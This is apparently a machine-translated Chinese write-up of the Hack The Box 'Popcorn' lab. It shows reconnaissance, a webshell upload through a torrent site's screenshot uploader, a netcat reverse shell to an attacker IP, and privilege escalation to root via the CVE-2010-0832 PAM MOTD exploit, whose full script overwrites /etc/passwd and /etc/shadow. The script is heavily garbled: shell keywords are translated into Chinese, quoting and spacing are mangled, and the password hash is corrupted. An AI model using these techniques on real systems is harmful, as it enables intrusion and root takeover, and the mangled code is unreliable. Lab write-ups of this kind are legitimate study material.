Hack The Box —— Popcorn

信息搜集
nmap
1NMAP -T4 -A -V 10.10.10.6
我发现服务器打开了22端口和80端口浏览器以访问HTTP服务,并发现Apache的默认页面只有Apache的默认页面。
目录扫描
使用dirsearch工具扫描一波目录:1
Python3 Dirsearch -U http://10.10.10.6 -E HTML
发现test.php页面和Torrent目录,对Torrent目录执行目录扫描,并发现可以访问上传上传目录,并且同时存在index.php页面。
功能点搜索
本网站是BT种子论坛网站,注册用户,并发现了上传页面。

漏洞利用
在上传点,我尝试上传网络壳,发现它失败了。我猜想该程序检测到上传文件是否是标准的BT种子文件,并且没有绕过过滤。继续上传正常的BT种子文件并进行进一步测试:

我发现上传的种子页面存在于屏幕截图图标上传点上。
尝试上传网络壳,发现它已成功上传。


访问上传目录并获取Webshell的地址:

厨房刀连接:

成功获得了用户的标志。

同时,您将在主目录中找到.Cache文件夹。输入后,您将找到motd.legal-display的文件。

使用搜索引擎搜索相关文档并查找:

Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2)
Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2). CVE-2010-0832 . local exploit for Linux platform
本地:NC -L 4444
受害机器:NC -E /bin /bash 10.10.14.10 4444
使用厨刀上传EXP脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash
#
#利用title: ubuntu pam motd本地根
#日期: 2010年7月9日
#作者:匿名
#软件link: http://packages.ubuntu.com/
#版本: PAM-1.1.0
#测试在: Ubuntu 9.10(Karmic Koala),Ubuntu 10.04 LTS(Lucid Lynx)
#CVE: CVE-2010-0832
#补丁指令: sudo Aptitude -y更新; sudo才能-y安装libpam〜n〜i
#参考: http://www.exploit-db.com/exploits/14273/克里斯蒂安马云惹不起马云埃里克马云惹不起马云赫曼森(Kristian Erik Hermansen)
p='toor3:x:033333:root3:/root3:/bin/bash'
S='TOOR: $ 6 $ TPURRLW7 $ M0BVNOYS9FEF9/LZV6PQOSPUJOKT0GIV.7JNGRCBWC1XDHMLBNMLBNTWLKYZHZ.V ZWCCECYQU5Q2DLX.CI7NQTSNZ13:147983333333333333333333333333339999999999999333333333333333333333333333333333:'
echo'[*] ubuntu pam motd local root'
[-z'$(哪ssh)'] echo'[ - ] SSH是一个要求'出口1
[-z' $(哪个ssh-keygen)'] echo'[ - ] ssh-keygen是要求'出口1
[-z' $(ps -u root | grep sshd)'] echo'[ - ]运行sshd是要求'出口1
backup(){
[-e'$ 1'] [-e'$ 1'.bak] rm -rf'$ 1'.bak
[-e'$ 1'] ||返回0
MV' $ 1'{,bak} ||返回1
回声'[*]备份$ 1'
}
恢复() {
[-e'$ 1'] rm -rf'$ 1'
[-e'$ 1'.bak] ||返回0
MV' $ 1'{。bak,} ||返回1
回声'[*]还原$ 1'
}
key_create(){
备份〜/.ssh/授权_keys
ssh -keygen -q -t rsa -n''-c'pam'-f'$ key'||返回1
[! -d〜/.ssh] {mkdir〜/.ssh ||返回1; }
MV' $ key.pub'〜/.ssh/oteryized_keys ||返回1
回声'[*] SSH键设置'
}
key_remove(){
RM -F'$ key'
还原〜/.ssh/授权_keys
echo'[*] SSH键已删除'
}
自己的() {
[-e〜/.cache] rm -rf〜/.cache
ln -s'$ 1'〜/.cache ||返回1
echo'[*] spawn ssh'
ssh -o'nohostauthenticationforlocalhost yes'-i'$ key'localhost true
[-w' $ 1'] || {echo'[ - ]自己的$ 1失败';还原〜/.cache;再见; }
Echo'[+]拥有: $ 1'
}
再见() {
key_remove
出口1
}
key='$(mktemp -u)'
key_create || {echo'[ - ]无法设置SSH键';出口1; }
备份〜/.cache || {echo'[ - ]无法备份〜/.cache';再见; }
拥有/etc /passwd echo' $ p' /etc /passwd
拥有/etc /shadow回声'$ s' /etc /shadow
还原〜/.cache || {echo'[ - ]无法还原〜/.cache';再见; }
key_remove
回声'[+]成功!使用密码来扎根'
su -c'sed -i'/toor:/d'/etc/{passwd,shadow}; Chown root: /etc /{passwd,shadow}; \ \
CHGRP影子/etc /shadow; nscd -i passwd /dev /null 21; bash'到或
并给出脚本执行权限:
1
chmod + x 1.sh
执行脚本并获得根本权限:

